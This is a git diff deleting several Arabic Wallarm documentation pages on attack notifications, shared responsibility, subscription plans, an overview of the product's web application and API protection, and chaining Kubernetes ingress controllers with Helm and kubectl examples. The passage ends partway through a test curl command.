10](../user-guides/dashboards/owasp-api-top-ten.md) رؤية مفصلة حول وضعية الأمان الخاصة بنظامك في مجال OWASP API Top 10 threats، بما في ذلك معلومات حول الهجمات. - -![OWASP API Top 10](../images/user-guides/dashboard/owasp-api-top-ten-2023-dash.png) - -## الإخطارات حول الهجمات المكتشفة، والضربات والأحمال الخبيثة - -يمكن أن ترسل Wallarm إليك إشعارات حول الهجمات المكتشفة، والضربات والأحمال الخبيثة. يتيح لك البقاء على علم بمحاولات الهجوم على نظامك وتحليل المرور الخبيث المكتشف على الفور. يشمل تحليل المرور الخبيث الإبلاغ عن الإيجابيات الكاذبة، والسماح بقائمة الـ IPs التي تنشأ منها الطلبات الشرعية ونفي قائمة IPs مصادر الهجوم. - -لتكوين الإخطارات: - -1. قم بتكوين [التكاملات الأصلية](../user-guides/settings/integrations/integrations-intro.md) مع الأنظمة لإرسال الإخطارات (على سبيل المثال PagerDuty، Opsgenie، Splunk، Slack، Telegram). -2. قم بتعيين الشروط لإرسال الإخطارات: - - * للحصول على الإخطارات حول كل ضربة مكتشفة، حدد الخيار المناسب في إعدادات التكامل. - - ??? info "انظر مثال على الإخطار حول ضربة مكتشفة في تنسيق JSON" - ```json - [ - { - "summary": "[Wallarm] تم اكتشاف ضربة جديدة", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } - ] - ``` - - * لتعيين الحد الأدنى لعدد الهجمات، أو الضربات أو الأحمال الخبيثة والحصول على الإشعارات عند تجاوز الحد، قم بتكوين [المشغلات](../user-guides/triggers/triggers.md) المناسبة. - -## فيديوهات توضيحية - -
- -
diff --git a/docs/latest-ar/about-wallarm/shared-responsibility.md b/docs/latest-ar/about-wallarm/shared-responsibility.md deleted file mode 100644 index 6e3abd094f..0000000000 --- a/docs/latest-ar/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1,48 +0,0 @@ -# نموذج المسؤولية المشتركة عن بيانات العملاء - -تعتمد Wallarm على نموذج أمني للمسؤولية المشتركة. في هذا النموذج، جميع الأطراف (Wallarm وعملائها) لديهم مجالات مسؤوليات مختلفة عندما يتعلق الأمر بأمن بيانات العملاء، بما في ذلك أي معلومات يمكن تحديد الهوية الشخصية (PII) وبيانات حاملي البطاقات. - -Wallarm هي حل مختلط (جزء برنامج وجزء SaaS) مع مكونين رئيسيين في مجالات المسؤولية المختلفة: - -* **عقدة تصفية Wallarm** البرمجية، المنصوبة في بنيتك التحتية ويتم إدارتها بواسطتك. عقدة Wallarm مسؤولة عن تصفية طلبات المستخدم النهائي، إرسال الطلبات الآمنة إلى تطبيقك وحظر الطلبات الضارة. تقوم عقدة Wallarm بتمرير حركة المرور واتخاذ القرار محليًا بشأن ما إذا كان الطلب ضارًا أم لا. حركة المرور لا يتم مرآتها إلى سحابة Wallarm للتحليل. -* **سحابة Wallarm**، مكون سحابي يدار بواسطة Wallarm، مسؤول عن استقبال المعلومات التعريفية حول الطلبات المعالجة والهجمات المكتشفة من عقد التصفية؛ فضلاً عن توليد قواعد تصفية محددة للتطبيق وجعلها متاحة للعقد لتنزيلها. توفر لك واجهة استخدام Wallarm والواجهة البرمجية العامة القدرة على رؤية تقارير الأمان والأحداث الفردية؛ إدارة قواعد تصفية حركة المرور، مستخدمي واجهة استخدام Wallarm، التكاملات الخارجية، إلخ. - -![مخطط المسؤوليات](../images/shared-responsibility.png) - -## مسؤوليات Wallarm - -Wallarm مسؤولة عن النقاط التالية: - -* أمن وتوفر بيئات سحابة Wallarm، أمن كود عقدة تصفية Wallarm وأنظمة Wallarm الداخلية. - - يشمل ذلك ولكن لا يقتصر على: تصحيح مستوى الخادم، تشغيل الخدمات الضرورية لتسليم خدمة سحابة Wallarm، اختبار الثغرات الأمنية، تسجيل ومراقبة الأحداث الأمنية، إدارة الحوادث، المراقبة التشغيلية والدعم على مدار 24/7. Wallarm مسؤولة أيضًا عن إدارة تكوينات جدران الحماية للخوادم والمحيط (مجموعات الأمان) لبيئات سحابة Wallarm. - -* تحديث مكون عقدة تصفية Wallarm بشكل دوري. يرجى الملاحظة أن تطبيق هذه التحديثات هو مسؤولية العميل. - -* تزويدك بنسخة من أحدث تقرير تدقيق Wallarm SOC 2 Type II عند الطلب. - -## مسؤوليات العميل - -عملاء Wallarm مسؤولون عن النقاط التالية: - -* تنفيذ ضوابط داخلية صوتية ومتسقة بخصوص الوصول العام لنظام تكنولوجيا المعلومات وملاءمة استخدام النظام لجميع المكونات الداخلية المرتبطة بWallarm، بما في ذلك عقدة تصفية Wallarm وسحابة Wallarm. - -* ممارسة إزالة حسابات المستخدمين لأي مستخدمين تم إنهاء خدماتهم والذين كانوا مشاركين سابقًا في أي وظائف أو أنشطة مادية مرتبطة بخدمات Wallarm. - -* تكوين قواعد [إخفاء البيانات الحساسة](../user-guides/rules/sensitive-data-rule.md) الصحيحة لأي بيانات حساسة قد تترك محيط أمن العميل وترسل إلى سحابة Wallarm كجزء من تقارير الطلبات الضارة التي تم اكتشافها. - -* التأكد من أن المعاملات لمنظمات العملاء المتعلقة بخدمات Wallarm مصرح بها بشكل مناسب، وأن المعاملات آمنة وفي الوقت المناسب وكاملة. - -* إشعار Wallarm في الوقت المناسب بأي تغييرات على الأفراد المشاركين مباشرة مع الخدمات التي تؤديها Wallarm. قد يشارك هذا الفريق في وظائف مالية، فنية، أو إدارية مساعدة مباشرة مرتبطة بالخدمات التي تقدمها Wallarm. - -* تحديث عقد التصفية مع الإصدارات الجديدة من التحديثات البرمجية التي تصدرها Wallarm في الوقت المناسب. - -* تطوير، وإذا لزم الأمر، تنفيذ خطة استمرارية الأعمال واستعادة الكوارث (BCDRP) التي ستساعد في استمرار الخدمات التي تقدمها Wallarm. - -## إخفاء البيانات الحساسة - -كما هو الحال مع أي خدمة خارجية، من المهم لعميل Wallarm أن يفهم أي بيانات العميل يتم إرسالها إلى Wallarm، ويتأكد من أن البيانات الحساسة لن تصل أبدًا إلى سحابة Wallarm. يُنصح عملاء Wallarm الذين لديهم متطلبات PCI DSS، GDPR وغيرها بإخفاء البيانات الحساسة باستخدام قواعد خاصة. - -البيانات الوحيدة المنقولة من عقد التصفية إلى سحابة Wallarm التي قد تتضمن أي تفاصيل حساسة هي معلومات حول الطلبات الضارة المكتشفة. من غير المحتمل أن يحتوي طلب ضار على أي بيانات حساسة. ومع ذلك، النهج الموصى به هو إخفاء حقول طلب HTTP التي قد تحتوي على تفاصيل PII أو تفاصيل بطاقات الائتمان، مثل `token`, `password`, `api_key`, `email`, `cc_number`، إلخ. باستخدام هذا النهج سيضمن أن المعلومات المحددة لن تترك أبدًا محيط أمانك. - -يمكنك تطبيق قاعدة خاصة تسمى **إخفاء البيانات الحساسة** لتحديد الحقول التي يجب حذفها (في URI الطلب، العناوين أو الجسم) عند إرسال معلومات الهجوم من عقدة تصفية إلى سحابة Wallarm. لمزيد من المعلومات حول إخفاء البيانات، يرجى الاطلاع على [الوثيقة](../user-guides/rules/sensitive-data-rule.md) أو الاتصال ب[فريق دعم Wallarm](mailto:request@wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/subscription-plans.md b/docs/latest-ar/about-wallarm/subscription-plans.md deleted file mode 100644 index fbaf86cced..0000000000 --- a/docs/latest-ar/about-wallarm/subscription-plans.md +++ /dev/null @@ -1,111 +0,0 @@ -# خطط اشتراك Wallarm - -عند اشتراكك في Wallarm، فإنك تختار الخطة التي تلبي احتياجات عملك بشكل أفضل. يمكنك من هذا المستند التعرف على خطط الاشتراك المتاحة والوظائف التي تتيحها. - -تقدم Wallarm خطط الاشتراك التالية: - -* **حماية تطبيقات وAPI الويب الأصلية السحابية (Cloud Native WAAP)** وهي WAF من الجيل التالي توفر لتطبيقات الويب وAPI حماية ضد التهديدات الشائعة. -* **الأمان المتقدم لAPI** يوفر اكتشاف شامل لAPI والوقاية من التهديدات عبر محفظتك بأكملها بغض النظر عن البروتوكول. - - يباع خطة اشتراك الأمان المتقدم لAPI كإضافة لحماية تطبيقات وAPI الويب الأصلية السحابية. - -## خطط الاشتراك - -| الميزة | حماية تطبيقات وAPI الويب الأصلية السحابية | الحماية + الأمان المتقدم لAPI | -| ------- | ----------------- | --------------------- | -| **تغطية OWASP** | | | -| [أفضل 10 لOWASP](https://owasp.org/www-project-top-ten/) | نعم | نعم | -| [أفضل 10 لAPI من OWASP](https://owasp.org/www-project-api-security/) | جزئيًا ⁕ | نعم | -| **أنواع الموارد المحمية** | | | -| تطبيقات الويب | نعم | نعم | -| APIs | جزئيًا ⁕ | نعم | -| **دعم بروتوكول API** | | | -| القديم (SOAP، XML-RPC، WebDAV، WebForm) | نعم | نعم | -| الرئيسي (REST، GraphQL) | نعم | نعم | -| الحديث والبث المباشر (gRPC، WebSocket) | لا | نعم | -| **الوقاية من التهديدات الفورية** | | | -| [هجمات التحقق من الصحة](../about-wallarm/protecting-against-attacks.md#input-validation-attacks)، مثل حقن SQL، RCE | نعم | نعم | -| [التصحيح الافتراضي](../user-guides/rules/vpatch-rule.md) | نعم | نعم | -| [تصفية حسب الجغرافيا](../user-guides/ip-lists/overview.md) | نعم | نعم | -| **الحماية من التهديدات الآلية** | | | -| [الحماية من كسر الكلمات السرية](../admin-en/configuration-guides/protecting-against-bruteforce.md) | نعم | نعم | -| [حماية BOLA (IDOR)](../admin-en/configuration-guides/protecting-against-bola.md) | إعداد يدوي | حماية آلية | -| [منع استغلال API](../api-abuse-prevention/overview.md) | لا | نعم | -| [الكشف عن سرقة كلمات السر](../about-wallarm/credential-stuffing.md) | لا | نعم | -| **خيارات المراقبة** | | | -| [اكتشاف API](../api-discovery/overview.md) | لا | نعم | -| [العثور على APIs الظلية واليتيمة والزومبي](../api-discovery/overview.md#shadow-orphan-and-zombie-apis) بواسطة اكتشاف API | لا | نعم | -| [الكشف عن البيانات الحساسة](../api-discovery/overview.md#sensitive-data-detection) | لا | نعم | -| **اختبار الأمان وتقييم الثغرات** | | | -| [التحقق من التهديدات النشطة](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) | لا | نعم | -| [ماسح الثغرات](../about-wallarm/detecting-vulnerabilities.md#vulnerability-scanner) | لا | نعم | -| **مراقبة حوادث الأمان** | | | -| [التكاملات](../user-guides/settings/integrations/integrations-intro.md) مع SIEMs، المراسلين، إلخ | الكل | الكل | -| [سجل التدقيق](../user-guides/settings/audit-log.md) | نعم | نعم | -| **التوزيع** | | | -| [خيارات التوزيع](../installation/supported-deployment-options.md) | الكل | الكل | -| [المستأجر المتعدد](../installation/multi-tenant/overview.md) | نعم (بناء على طلب) | نعم (بناء على طلب) | -| **إدارة المستخدمين** | | | -| [المصادقة SSO (SAML) للمستخدمين](../admin-en/configuration-guides/sso/intro.md) | نعم | نعم | -| **واجهة برمجة تطبيقات Wallarm** | | | -| [الوصول إلى واجهة برمجة تطبيقات Wallarm](../api/overview.md) | نعم | نعم | - -`⁕` قد تعمل الميزات **جزئيًا** عندما تعتمد على وظائف غير متاحة، مثلاً WAAP تحمي APIs جزئيًا لأنها تحلل الطلبات المرسلة عبر مجموعة محدودة من بروتوكولات API. - -لتفعيل خطة اشتراك، يرجى إرسال طلب إلى [sales@wallarm.com](mailto:sales@wallarm.com). سيتم تحديد تكلفة الاشتراك بناءً على الخطة المختارة، مدتها، و[حجم طلبات الوصول](../admin-en/operation/learn-incoming-request-number.md). - -يتم عرض معلومات حول الخطة النشطة في وحدة تحكم Wallarm → **الإعدادات** → **الاشتراكات**. - -![خطة الاشتراك المدفوع](../images/user-guides/settings/subscriptions/subscriptions.png) - -## إشعارات الاشتراك - -تقوم Wallarm بإخطار **المدراء** و**المدراء العالميين** لحسابك عبر البريد الإلكتروني حول أي مشاكل متعلقة بالاشتراك: - -* انتهاء مدة الاشتراك (60، 30، 15 يومًا قبل وعند انتهاء المدة) -* تجاوز الحد الشهري لطلبات المعالجة (عند الوصول إلى 85% و100% من الحصة) - -بالإضافة إلى ذلك، تعرض واجهة مستخدم وحدة تحكم Wallarm رسالة حول مشاكل الاشتراك لجميع المستخدمين. - -## خطة الاشتراك المجانية (سحابة الولايات المتحدة) - -عند تسجيل مستخدم جديد في وحدة تحكم Wallarm لل**[سحابة الأمريكية](overview.md#cloud)**، يتم إنشاء حساب عميل جديد تلقائيًا في نظام Wallarm مع خطة اشتراك **مجانية**. - -تشتمل الخطة المجانية على: - -* ميزات Wallarm المتاحة مجانًا حتى حصة **500 ألف طلب شهريًا** بدون قيود زمنية. تعاد الحصة بالكامل في اليوم الأول من كل شهر. -* الوصول إلى منصة Wallarm كما هو الحال في [الأمان المتقدم لAPI](#subscription-plans)، باستثناء ما يلي: - - * ماسح الأصول المعرضة - * وحدة [منع استغلال API](../api-abuse-prevention/overview.md) - * توزيع نوع [عقدة CDN](../installation/cdn-node.md) - -**ماذا يحدث إذا تجاوزت الحصة؟** - -إذا تجاوز حساب الشركة 100% من حصة الاستخدام الشهرية المجانية، يتم تعطيل الوصول إلى وحدة تحكم Wallarm، بالإضافة إلى جميع التكاملات. عند الوصول إلى 200%، يتم تعطيل الحماية على عقد Wallarm. - -ستظل هذه القيود سارية حتى اليوم الأول من الشهر التالي. يرجى التواصل مع فريق مبيعات [Wallarm](mailto:sales@wallarm.com) لاستعادة الخدمة فورًا عن طريق الانتقال إلى واحدة من خطط الاشتراك المدفوعة. - -يتم عرض معلومات استخدام خطة الاشتراك المجانية في وحدة تحكم Wallarm → **الإعدادات** → **الاشتراكات**. - -تقوم Wallarm بإخطار **المدراء** و**المدراء العالميين** لحسابك عبر البريد الإلكتروني عند تجاوز 85%، 100%، 185% و200% من حصة الطلبات المجانية. - -## فترة تجريبية (سحابة الاتحاد الأوروبي) - -عند تسجيل مستخدم جديد في وحدة تحكم Wallarm لل**[سحابة الأوروبية](overview.md#cloud)**، يتم إنشاء حساب عميل جديد تلقائيًا في نظام Wallarm مع فترة تجريبية نشطة. - -* الفترة التجريبية مجانية. -* تستمر الفترة التجريبية 14 يومًا. -* توفر الفترة التجريبية لWallarm مجموعة كاملة من الوحدات والميزات التي يمكن تضمينها في خطة [WAAP](#subscription-plans). -* يمكن تمديد الفترة التجريبية لمدة 14 يومًا مرة واحدة فقط. - - يمكن تمديد الفترة التجريبية في وحدة تحكم Wallarm → **الإعدادات** → **الاشتراكات** ومن خلال الزر الموجود في البريد الإلكتروني الذي يخطر بانتهاء الفترة التجريبية. يتم إرسال البريد الإلكتروني فقط للمستخدمين ب[دور **المدير** و**المدير العالمي**](../user-guides/settings/users.md#user-roles). -* إذا انتهت الفترة التجريبية: - - * سيتم حظر الحساب في وحدة تحكم Wallarm. - * سيتم إيقاف مزامنة عقد Wallarm والسحابة الخاصة بWallarm. - * ستعمل عقدة Wallarm محليًا ولكن لن تحصل على أي تحديثات من السحابة الخاصة بWallarm كما لن ترفع البيانات إلى السحابة. - -عند تفعيل اشتراك مدفوع في Wallarm، يتم استعادة الوصول إلى حساب العميل لجميع المستخدمين. - -تُعرض معلومات عن الفترة التجريبية في وحدة تحكم Wallarm → **الإعدادات** → **الاشتراكات**. diff --git a/docs/latest-ar/about-wallarm/waap-overview.md b/docs/latest-ar/about-wallarm/waap-overview.md deleted file mode 100644 index b36a9dabd4..0000000000 --- a/docs/latest-ar/about-wallarm/waap-overview.md +++ /dev/null @@ -1,37 +0,0 @@ -# واجهة الحماية السحابية لتطبيقات الويب وAPI - -توفر واجهة الحماية السحابية لتطبيقات الويب وAPI من Wallarm حماية متقدمة للتطبيقات وواجهات برمجة التطبيقات في أي بيئة عملاء. WAAP من Wallarm هو جيل جديد من جدار حماية التطبيقات الويب يدعم بروتوكولات API متعددة، مثل REST، SOAP، GraphQL، وغيرها، ويعتمد على تفتيش عميق للباكيتات لتغطية كاملة ل[أوائل العشرة من OWASP](https://owasp.org/www-project-top-ten/) وأكثر. توفر WAAP دقة عالية في الكشف عن [التهديدات المتنوعة](../attacks-vulns-list.md)، بما في ذلك التهديدات اليوم الصفري، وعدد قليل من [الإيجابيات الخاطئة](../about-wallarm/protecting-against-attacks.md#false-positives). هذا يتيح لك حماية بنيتك التحتية بسرعة وفعالية. - -![هجوم حسب البروتوكولات](../images/user-guides/dashboard/api-protocols.png) - -## المبادئ العامة - -يتم التعامل مع حركة المرور بواسطة مكونين: عقد تصفية Wallarm وسحابة Wallarm. يتم نشر عقد تصفية Wallarm في بنية التحتية للعميل وهي مسؤولة عن تحليل حركة المرور وحجب الهجمات. يتم إرسال إحصاءات الهجمات المجمعة إلى سحابة Wallarm للتحليل الإحصائي ومعالجة الأحداث. كما تتولى سحابة Wallarm مسؤولية الإدارة المركزية والتكامل مع أدوات الأمان الأخرى. - -![!مخطط العمارة](../images/about-wallarm-waf/overview/filtering-node-cloud.png) - -تدعم Wallarm خيارات نشر متنوعة، بما في ذلك السحابة العامة، والنشر داخل المؤسسات، والنشر الكامل كخدمة SaaS، والتكامل مع Kubernetes، وواجهات API للبوابة، وأطراف الأمان، إلخ. يمكن نشر عقد تصفية Wallarm إما [داخل الشبكة](../installation/inline/overview.md) أو [خارج الشبكة](../installation/oob/overview.md)، حسب احتياجاتك وبنيتك التحتية. خيارات تكوين سياسة الأمان المرنة تتيح لك التبديل بسرعة بين وضعيات [المراقبة والحجب](../admin-en/configure-wallarm-mode.md)، مما يزيل الخوف من حجب حركة المرور الشرعية. - -## تدابير الحماية - -توفر WAAP من Wallarm مجموعة واسعة من تدابير الأمان لحماية التطبيقات الخاصة بك من جميع أنواع التهديدات، بما في ذلك على سبيل المثال لا الحصر: - -* الطوابع المحدثة ضد XSS، SQLi، RCE، إلخ. -* التصحيح الافتراضي -* إنشاء كاشفات مخصصة -* [حماية من L7 DDoS](../admin-en/configuration-guides/protecting-against-ddos.md) -* [الحماية من مرتكبي عدة هجمات](../admin-en/configuration-guides/protecting-with-thresholds.md) -* تحديد معدل -* [حماية من الاختراق العنيف](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [حماية من التصفح القسري](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) -* [حماية BOLA](../admin-en/configuration-guides/protecting-against-bola-trigger.md) -* [التصفية حسب المواقع الجغرافية وأنواع المصادر](../user-guides/ip-lists/overview.md) -* تغذية IP الخبيثة - -## القدرات الإضافية - -بالإضافة إلى حماية التطبيقات، توفر واجهة الحماية السحابية لتطبيقات الويب وAPI من Wallarm القدرة على فحص [الأصول المكشوفة](../user-guides/scanner.md) وتقييم مستوى الأمان. هذا يتيح لك تحديد نقاط الضعف قبل أن يهاجمها المخترقون. - -تتيح قدرات [التقارير](../user-guides/dashboards/owasp-api-top-ten.md) المرنة و[التكامل](../user-guides/settings/integrations/integrations-intro.md) مع تطبيقات أخرى لك التعرف بسرعة على التهديدات الناشئة والرد عليها في الوقت المناسب. - -يمكن [إضافة](../about-wallarm/subscription-plans.md) قدرات تحليل وحماية API المتقدمة حسب الحاجة. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/admin-intro-en.md b/docs/latest-ar/admin-en/admin-intro-en.md deleted file mode 100644 index b72d30bcb7..0000000000 --- a/docs/latest-ar/admin-en/admin-intro-en.md +++ /dev/null @@ -1,5 +0,0 @@ -# مقدمة في دليل المسؤول - -يقدم هذا الدليل معلومات حول خيارات تهيئة Wallarm وتكامل البنية التحتية. - -يجب أن يكون لديك صلاحية المسؤول لأداء معظم العمليات الموصوفة في هذا الدليل. يمكنك تعيين صلاحية المسؤول في قسم **الإعدادات** → **المستخدمون** على واجهة تحكم Wallarm في السحابة [الأمريكية](https://us1.my.wallarm.com) أو [الأوروبية](https://my.wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/admin-en/apifw-metrics.md b/docs/latest-ar/admin-en/apifw-metrics.md deleted file mode 100644 index 0b41fb2754..0000000000 --- a/docs/latest-ar/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/latest-ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index 896bbffbec..0000000000 --- a/docs/latest-ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1,207 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png - -# سلسلة كونترولرات Wallarm Ingress المضافة في نفس الكومة Kubernetes - -تقدم هذه التعليمات الخطوات لنشر كونترولر Wallarm Ingress في كومتك Kubernetes وربطها بالكونترولرات الأخرى التي تعمل بالفعل في بيئتك. - -## المشكلة التي يعالجها الحل - -تقدم Wallarm برنامجها الأصلي في أشكال مختلفة ، بما في ذلك [كونترولر Ingress المبني على أساس كونترولر Ingress NGINX المجتمع](installation-kubernetes-en.md). - -إذا كنت تستخدم بالفعل كونترولر Ingress ، قد يكون من التحدي أن تستبدل الكونترولر Ingress الحالي بكونترولر Wallarm (على سبيل المثال ، إذا كانت تستخدم AWS ALB Ingress Controller). في هذه الحالة ، يمكنك استكشاف [حل WallarmSidecar](../installation/kubernetes/sidecar-proxy/deployment.md) ولكن إذا لم يناسب بنيتك أيضا ، فمن الممكن ربط عدة كونترولرات Ingress فيما بينها. - -تمكنك سلسلة كونترولرات Ingress من استخدام كونترولر موجود للحصول على طلبات المستخدمين النهائيين إلى الكومة ، ونشر كونترولر Ingress إضافي من Wallarm لتوفير الحماية الضرورية للتطبيق. - -## المتطلبات - -* نسخة Kubernetes من 1.24 إلى 1.27 -* [Helm](https://helm.sh/) مدير الحزم -* الوصول إلى الحساب بدور **المدير** وتعطيل المصادقة الثنائية في Wallarm Console للـ [US Cloud](https://us1.my.wallarm.com/) أو [EU Cloud](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع US Wallarm Cloud أو إلى `https://api.wallarm.com` للعمل مع EU Wallarm Cloud -* الوصول إلى `https://charts.wallarm.com` لإضافة Wallarm Helm charts. تأكد من أن الوصول غير محظور بواسطة جدار الحماية -* الوصول إلى Wallarm repositories على Docker Hub `https://hub.docker.com/r/wallarm`. تأكد من أن الوصول غير محظور بواسطة جدار الحماية -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* نشر كومة Kubernetes تعمل على كونترولر Ingress - -## نشر Wallarm Ingress كونترولر وربطه مع كونترولر Ingress إضافي - -لنشر Wallarm Ingress كونترولر وربطها بالكونترولرات الإضافية : - -1. قم بنشر الرسم البياني Helm الرسمي لكونترولر Wallarm باستخدام قيمة Ingress class مختلفة عن الكونترولر Ingress الحالي. -1. قم بإنشاء كائن Ingress الخاص بـ Wallarm مع: - - * نفس `ingressClass` كما هو محدد في `values.yaml` من رسم بياني Helm لـ Wallarm Ingress. - * قواعد توجيه طلبات كونترولر Ingress مكونة بنفس الطريقة التي تم بها تكوين كونترولر Ingress الحالي. - - !!! info "لن يتعرض Wallarm Ingress كونترولر خارج الكومة" - يرجى ملاحظة أن Wallarm Ingress كونترولر يستخدم `ClusterIP` كخدمة ، مما يعني أنه لن يتعرض خارج الكومة. -1. إعادة تكوين كونترولر Ingress الحالي لتوجيه الطلبات الواردة إلى الكونترولر Wallarm Ingress الجديد بدلاً من خدمات التطبيق. -1. اختبر تشغيل Wallarm Ingress كونترولر. - -### الخطوة 1: نشر Wallarm Ingress كونترولر - -1. قم بإنشاء رمز عقدة الترشيح من [النوع المناسب][node-token-types]: - - === "API token (Helm chart 4.6.8 وما فوق)" - 1. افتح Wallarm Console → **Settings** → **API tokens** في الـ [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) أو [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. ابحث عن أو قم بإنشاء رمز API مع دور المصدر `Deploy`. - 1. انسخ هذا الرمز. - === "Node token" - 1. افتح Wallarm Console → **Nodes** في إما [US Cloud](https://us1.my.wallarm.com/nodes) أو [EU Cloud](https://my.wallarm.com/nodes). - 1. قم بإنشاء عقدة تصفية بنوع **Wallarm node** وانسخ الرمز المولد. - - ![إنشاء عقدة Wallarm][nginx-ing-create-node-img] -1. أضف مستودع [Wallarm Helm charts](https://charts.wallarm.com/): - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update - ``` -1. قم بإنشاء الملف `values.yaml` مع التهيئة التالية لـ Wallarm: - - === "US Cloud" - ```bash - controller: - wallarm: - enabled: true - token: "" - apiHost: us1.api.wallarm.com - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: ClusterIP - nameOverride: wallarm-ingress - ``` - === "EU Cloud" - ```bash - controller: - wallarm: - enabled: true - token: "" - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: "ClusterIP" - nameOverride: wallarm-ingress - ``` - - * `` هو رمز العقدة Wallarm. - * عند استخدام رمز API ، حدد اسم مجموعة العُقد في المعلمة `nodeGroup`. سيتم تعيين العقدة الخاصة بك لهذه المجموعة ، والتي تظهر في قسم **Nodes** من Wallarm Console. اسم المجموعة الافتراضي هو `defaultIngressGroup`. - - لمعرفة المزيد من خيارات التكوين ، يرجى استخدام [الرابط](configure-kubernetes-en.md). -1. قم بتثبيت رسم Wallarm Ingress Helm: - ``` bash - helm install --version 4.10.4 internal-ingress wallarm/wallarm-ingress -n wallarm-ingress -f values.yaml --create-namespace - ``` - - * `internal-ingress` هو اسم إصدار Helm - * `values.yaml` هو ملف YAML مع Helm values الذي تم إنشاؤه في الخطوة السابقة - * `wallarm-ingress` هو الفضاء الاسمي حيث يتم تثبيت رسم Helm (سيتم إنشاؤه) -1. تأكد من أن Wallarm Ingress كونترولر يعمل حاليًا: - - ```bash - kubectl get pods -n wallarm-ingress - ``` - - يجب أن يكون حالة كل من العقد **STATUS: Running** أو **READY: N/N**. على سبيل المثال: - - ``` - NAME READY STATUS RESTARTS AGE - internal-ingress-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - internal-ingress-wallarm-ingress-controller-wallarm-tarant64m44 4/4 Running 0 8m7s - ``` - -### الخطوة 2: إنشاء كائن Ingress مع `ingressClassName` خاص بـ Wallarm - -أنشئ كائن Ingress بنفس اسم `ingressClass` كما تم تكوينه في `values.yaml` في الخطوة السابقة. - -يجب أن يكون الكائن Ingress في نفس الفضاء الاسمي حيث تم نشر التطبيق الخاص بك ، على سبيل المثال : - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - annotations: - nginx.ingress.kubernetes.io/wallarm-application: "1" - nginx.ingress.kubernetes.io/wallarm-mode: monitoring - name: myapp-internal - namespace: myapp -spec: - ingressClassName: wallarm-ingress - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: myapp - port: - number: 80 -``` - -### الخطوة 3: إعادة تكوين كونترولر Ingress الحالي لتوجيه الطلبات إلى Wallarm - -قم بإعادة تكوين الكونترولر Ingress الحالي لتوجيه الطلبات الواردة إلى كونترولر Wallarm Ingress الجديد بدلاً من خدمات التطبيق على النحو التالي: - -* قم بإنشاء الكائن Ingress باسم `ingressClass` ليكون `nginx`. يرجى ملاحظة أنها القيمة الافتراضية ، يمكنك استبدالها بقيمتك الخاصة إذا كانت مختلفة. -* يجب أن يكون الكائن Ingress في نفس الفضاء الاسمي كما هو موجود في Wallarm Ingress Chart ، الذي هو `wallarm-ingress` في مثالنا. -* يجب أن تكون القيمة `spec.rules[0].http.paths[0].backend.service.name` هي اسم خدمة كونترولر Wallarm Ingress التي تتكون من اسم الإصدار Helm و `.Values.nameOverride`. - - يمكنك الحصول على الاسم باستخدام الأمر التالي : - - ```bash - kubectl get svc -l "app.kubernetes.io/component=controller" -n wallarm-ingress -o=jsonpath='{.items[0].metadata.name}' - ``` - - في مثالنا التكوينية الناتجة هي `internal-ingress-wallarm-ingress-controller`. - -التكوين النهائي للمثال: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: myapp-external - namespace: wallarm-ingress -spec: - ingressClassName: nginx - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: internal-ingress-wallarm-ingress-controller - port: - number: 80 -``` - -### الخطوة 4: اختبار تشغيل Wallarm Ingress كونترولر - -احصل على IP العام Load Balancer لكونترولر Ingress الخارجي الحالي ، على سبيل المثال دعنا نفترض أنه تم نشره في الفضاء الاسمي `ingress-nginx`: - -```bash -LB_IP=$(kubectl get svc -l "app.kubernetes.io/component=controller" -n ingress-nginx -o=jsonpath='{.items[0].status.loadBalancer.ingress[0].ip}') -``` - -أرسل طلب اختبار إلى عنوان الكونترولر Ingress الحالي وتحقق من أن النظام يعمل كما هو متوقع: - -```bash -curl -H "Host: www.example.com" 